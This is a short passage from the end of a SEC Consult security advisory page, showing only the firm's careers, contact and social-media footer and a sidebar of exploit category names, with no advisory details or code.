/><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Daniel Hirschberger / @2023<br /></code></pre>
Archives
Categories
- All Exploits 4095
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow